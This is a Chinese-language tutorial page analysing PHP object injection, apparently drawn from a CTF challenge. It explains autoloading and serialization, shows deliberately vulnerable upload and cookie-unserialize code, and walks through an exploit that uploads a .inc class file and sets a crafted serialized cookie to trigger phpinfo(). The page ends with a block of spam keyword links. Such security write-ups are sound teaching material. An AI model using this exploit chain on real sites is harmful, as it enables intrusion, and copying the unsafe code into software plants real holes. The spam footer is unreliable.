<dfn id="w48us"></dfn><ul id="w48us"></ul>
  • <ul id="w48us"></ul>
  • <del id="w48us"></del>
    <ul id="w48us"></ul>
  • PHP對象注入的實例分析

    時間:2024-08-27 02:48:46 PHP 我要投稿
    • 相關推薦

    PHP對象注入的實例分析

      注入我們聽到最多的sql了,其實php注入也是黑客常用的一種辦法了,下面我們就來學習一下php注入攻擊的記錄,希望大家能夠通過此教程來做好自己網站安全。

      1. 寫在前面

      最近經常會遇到一些比較有意思的漏洞,比如PHP反序列化漏洞,PHP對象注入。這些漏洞可能在平時很難遇到,但是在CTF以及一些CMS倒是經常看到他們的背影。今天剛剛好手上看到了某CTF的代碼,但是并沒有獲取所有源碼,因此修改了部分代碼進行分析。

      2. 自動加載

      2.0 為什么要自動加載?

      在面向對象編程中,程序員經常會編寫好類然后在一個入口文件中將它們包含進來。如果一個項目非常大,可能存在成百上千個類文件,如果一一包含進去,那么入口文件就會顯得特別大并且不利于維護。因此,PHP5提供了一種自動加載機制。

      2.1 __autoload

      index.php

      function __autoload($classname){

      $class_file = strtolower($classname).".php";

      if(file_exists($class_file)){

      require_once("$class_file");

      }else{

      echo "$class_file does not exist!";

      }

      }

      $obj = new File();

      訪問index.php,程序會嘗試實例化File類。PHP的解析器會自動調用__autoload()函數。假設當前目錄下沒有file.php,那么就會輸出 “file.php does not exist!” 并且拋出錯誤。

      file.php

      class File{

      function __construct(){

      echo "File class is instantiated";

      }

      }

      此時訪問index.php,就會得到 “File class is instantiated” 的結果。這樣一來,自動加載機制就非常好理解了。

      2.2 手動調用 spl_autoload

      void spl_autoload ( string $class_name [, string $file_extensions ] )

      它可以接收兩個參數,第一個參數是$class_name,表示類名。第二個參數$file_extensions是可選的,表示類文件的擴展名;如果不指定的話,它將使用默認的擴展名.inc或.php。

      spl_autoload首先將$class_name變為小寫,然后在所有的include path中搜索$class_name.inc或$class_name.php文件(如果不指定$file_extensions參數的話),如果找到,就加載該類文件。

      同樣,你可以手動使用spl_autoload(“Person”, “.class.php”)來加載Person類。實際上,它跟require/include差不多

      舉個例子

      spl_autoload("upload");

      $F = new Upload();

      這里沒有指定擴展名,那么就會在當前目錄下尋找upload.inc或者upload.php并自動加載。其實,到這里而言,和require、include相比并沒有簡單。相反,它們的功能基本是一模一樣的。

      2.3 自動調用 spl_autoload

      上面所說的使用手動的方式調用spl_autoload,工作量其實和require/include基本上差不多。調用spl_autoload_register()的時候,如果沒有指定欲注冊的自動裝載函數,則自動注冊 autoload 的默認實現函數spl_autoload()。

      舉個例子

      spl_autoload_register();

      $F = new Upload();

      此時,程序會在當前路徑下自動加載upload.inc或upload.php。

      3. 反序列化

      字符串序列化成類之前,類必須提前聲明,否則無法反序列化。

      字符串在反序列化的時候,會自動調用__wakeup()魔術方法

      Object序列化格式 -> O:strlen(對象名):對象名:對象大小:{s:strlen(屬性名):屬性名:屬性值;(重復剩下的元素)}

      4. 漏洞剖析

      index.php

      include_once "common.inc.php";

      if(isset($req["act"]) && preg_match('/^[a-z0-9_]+$/is', $req["act"])) {

      include_once __DIR__ . "/" . $req["act"] . ".php";

      exit;

      }

      common.inc.php

      spl_autoload_register();

      error_reporting(0);

      ini_set('display_errors', false);

      $req = [];

      foreach([$_GET, $_POST] as $global_var) {

      foreach($global_var as $key => $value) {

      is_string($value) && $req[$key] = addslashes($value);

      }

      }

      $userinfo = isset($_COOKIE["userinfo"]) ? unserialize($_COOKIE["userinfo"]) : [];

      upload.php

      if($_FILES["attach"]["error"] == 0) {

      if($_FILES["attach"]['size'] > 0 && $_FILES["attach"]['size'] < 102400) {

      $typeAccepted = ["image/jpeg", "image/gif", "image/png"];

      $blackext = ["php", "php5", "php3", "html", "swf", "htm"];

      $filearr = pathinfo($_FILES["attach"]["name"]);

      if(!in_array($_FILES["attach"]['type'], $typeAccepted)) {

      exit("type error");

      }

      if(in_array($filearr["extension"], $blackext)) {

      exit("extension error");

      }

      $filename = $_FILES["attach"]["name"];

      if(move_uploaded_file($_FILES["attach"]["tmp_name"], $filename)) {

      array_push($userinfo, $filename);

      setcookie("userinfo", serialize($userinfo), time() + 60 * 60 * 24 * 30);

      echo htmlspecialchars("upload success, new filename is {$filename} .");

      } else {

      echo "upload error!";

      }

      }

      } else {

      echo "no upload file";

      }

      在common.inc.php中執行了spl_autoload_register()函數,并沒有使用參數。

      后綴沒有禁止.inc的類型

      在common.inc.php會反序列化COOKIE中的數據

      上傳目錄在當前目錄下

      因此我們需要如下構造:

      上傳一個名為info.inc的文件,抓包修改MIME類型。info.inc的內容如下所示:

      class info{

      function __wakeup(){

      phpinfo();

      }

      }

      修改cookie的uesrinfo字段為:O:4:”info”:0:{}

      訪問index.php即可觸發phpinfo()函數。

    【PHP對象注入的實例分析】相關文章:

    PHP防止SQL注入的例子03-15

    淺析php函數的實例04-01

    PHP中curl的使用實例04-01

    PHP面向對象重載重寫的不同04-03

    德國留學申請實例分析03-19

    PHP中的排序函數區別分析03-31

    javascript閉包的定義及應用實例分析04-01

    2017考研英語閱讀經典實例分析02-23

    托福口語的評分標準及實例分析03-28

    主站蜘蛛池模板: 孩交VIDEOS精品乱子| 国产精品亚洲精品观看不卡| 久久国产欧美日韩精品| 国产精品第一页在线| 久久精品人人做人人妻人人玩| 国产精品免费观看视频| A级精品国产片在线观看| 午夜肉伦伦影院久久精品免费看国产一区二区三区 | 99热亚洲色精品国产88| 久久亚洲AV永久无码精品| 日本人精品video黑人| 精品亚洲麻豆1区2区3区| 欧美亚洲精品中文字幕乱码免费高清 | 久久久久亚洲精品无码网址| 99久久精品费精品国产一区二区| 亚洲精品国精品久久99热| 国产乱人伦精品一区二区在线观看| 国内精品手机在线观看视频| 乱码精品一区二区三区| 在线观看亚洲精品国产| 久久久久99精品成人片牛牛影视| 伊人久久大香线蕉精品| 国产精品自产拍在线观看| 精品久久人妻av中文字幕| 亚洲精品午夜无码专区| 亚洲AV无码成人精品区狼人影院 | 94久久国产乱子伦精品免费| 国产精品女同一区二区| 亚洲αv在线精品糸列| 一级A毛片免费观看久久精品| 蜜臀AV无码国产精品色午夜麻豆| 国产精品自产拍在线观看花钱看| 国产高清在线精品一区二区三区| 一区二区三区日韩精品| 337P亚洲精品色噜噜| 久久精品无码一区二区三区| 国产精品臀控福利在线观看 | 国产日韩欧美精品| 97久久超碰国产精品旧版| 久久久久国产精品熟女影院| 久久综合精品国产二区无码|